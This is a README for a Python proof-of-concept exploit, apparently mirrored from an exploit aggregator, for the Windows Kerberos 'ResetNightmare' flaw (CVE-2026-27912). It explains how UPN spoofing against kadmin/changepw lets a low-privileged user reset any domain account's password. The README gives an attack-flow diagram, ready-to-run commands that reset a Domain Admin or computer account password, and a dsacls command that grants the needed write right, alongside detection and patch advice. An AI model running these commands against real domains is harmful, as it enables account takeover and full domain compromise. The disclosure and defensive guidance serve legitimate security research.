Exploit for ResetNightmare-Python

## https://sploitus.com/exploit?id=3C22B15B-1461-5370-9F3F-5B2B8AC8508A
# ResetNightmare PoC (CVE-2026-27912)

Python/impacket re-implementation of the **ResetNightmare** attack disclosed by
Shai Laron (Semperis) at Black Hat USA 2026 ("Identity Crisis: Novel
Vulnerabilities Leading to Kerberos Downgrade, DoS, and Full Domain
Takeover"). The official PowerShell/Rubeus PoC is at
[Semperis-Community/ResetNightmare](https://github.com/Semperis-Community/ResetNightmare);
this project reimplements the same attack primitives on top of
[impacket](https://github.com/fortra/impacket)'s existing Kerberos and
`kadmin/changepw` code, for people who'd rather run this from Linux/macOS or
integrate it into Python tooling.

## What the vulnerability is

- **CVE ID:** CVE-2026-27912, CVSS 3.1: 8.0 (AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
- **CWE:** CWE-285 Improper Authorization
- **Component:** Windows Kerberos (`kadmin/changepw`, RFC 3244 Change/Set-Password)
- **Fixed in:** Windows Server 2012–2025, April 2026 security updates
- **Discovered by:** Shai Laron / Semperis

In 2021, Microsoft patched CVE-2021-42287 by adding a `PAC_REQUESTOR_SID`
check to the normal TGS-REQ path, closing the classic "sAMAccountName
spoofing" trick (request a TGT under a name that collides with a
privileged account, then use it to impersonate that account). ResetNightmare
found that the fix was incomplete: the **Kerberos Change Password
protocol never goes through a TGS-REQ at all**, it goes straight from an
AS-REQ to an AP-REQ against the `kadmin/changepw` service. That path never
validates `PAC_REQUESTOR_SID`, so the exact same spoofing trick still works
there, letting a low-privileged user with nothing more than **write access
to a UPN attribute** reset the password of *any* account in the domain,
including Domain Admins.

## Attack flow

```
Attacker-controlled account (already has write access to its own userPrincipalName)
        │
        │ 1. LDAP: set own userPrincipalName = TargetAccount's sAMAccountName
        ▼
Kerberos AS-REQ  (cname = TargetAccount, name-type = NT-ENTERPRISE,
                  authenticated with the CONTROLLED account's password,
                  sname = kadmin/changepw)
        │
        │ KDC resolves the enterprise name via userPrincipalName lookup →
        │ finds the CONTROLLED account (because of step 1) → checks the
        │ CONTROLLED account's password → issues a TGT whose cname says
        │ "TargetAccount" but whose PAC (PAC_REQUESTOR_SID) carries the
        │ CONTROLLED account's real SID.
        ▼
Kerberos AP-REQ + KRB-PRIV to kadmin/changepw (RFC 3244), using that TGT
        │
        │ kadmin/changepw trusts the ticket's cname ("TargetAccount") and
        │ never re-checks PAC_REQUESTOR_SID against it → sets TargetAccount's
        │ password to whatever we asked for.
        ▼
TargetAccount's password is now known to the attacker → full takeover
(if TargetAccount is Domain Admin: full domain compromise)
        │
        │ 2. LDAP: restore the controlled account's original UPN (cleanup)
        ▼
```

Detection: Windows Security **Event ID 5136** on the domain controller,
watching for a `userPrincipalName` write where the new value equals an
*existing* account's `sAMAccountName`.

## Install

```bash
uv sync
```

## Usage

### You already control an account with UPN-write rights on itself

```bash
uv run resetnightmare \
  --domain corp.local --dc-ip 10.0.0.10 \
  --target-account jdoe.admin --new-password 'N3wP@ssw0rd!' \
  --upn-user labuser --upn-user-password 'CurrentPassw0rd!'
```

### Resetting a computer account's password

```bash
uv run resetnightmare \
  --domain corp.local --dc-ip 10.0.0.10 \
  --target-account FILESRV01 --computer --new-password 'N3wP@ssw0rd!' \
  --upn-user labuser --upn-user-password 'CurrentPassw0rd!'
```

If `--upn-user` doesn't already have UPN-write on itself, grant it explicitly
first (simulating a realistic delegated foothold):

```powershell
dsacls "CN=labuser,CN=Users,DC=corp,DC=local" /G "CORP\labuser:WP;userPrincipalName"
```

All LDAP binds use LDAPS by default (`--plain-ldap` opts out) since most DCs
reject unsigned NTLM binds over plain LDAP with `strongerAuthRequired`.

Run `uv run resetnightmare --help` for the full flag reference.

## Mitigation

Apply Microsoft's April 2026 security update. Until then, monitor Event ID
5136 for `userPrincipalName` writes that collide with an existing
`sAMAccountName`, and restrict `Self`/`Everyone` write access to
`userPrincipalName` where it isn't needed.

## AI Disclosure

Pretty much all of the code was written using Claude, based on a very ugly first personal PoC.

## References

- [NVD: CVE-2026-27912](https://nvd.nist.gov/vuln/detail/CVE-2026-27912)
- [MSRC: CVE-2026-27912](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912)
- [Semperis: Identity Crisis - Novel Vulnerabilities Leading to Kerberos Downgrade, DoS, and Full Domain Takeover](https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/)
- [Semperis-Community/ResetNightmare (official PowerShell/Rubeus PoC)](https://github.com/Semperis-Community/ResetNightmare)
- [RFC 3244 - Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols](https://www.rfc-editor.org/rfc/rfc3244.txt)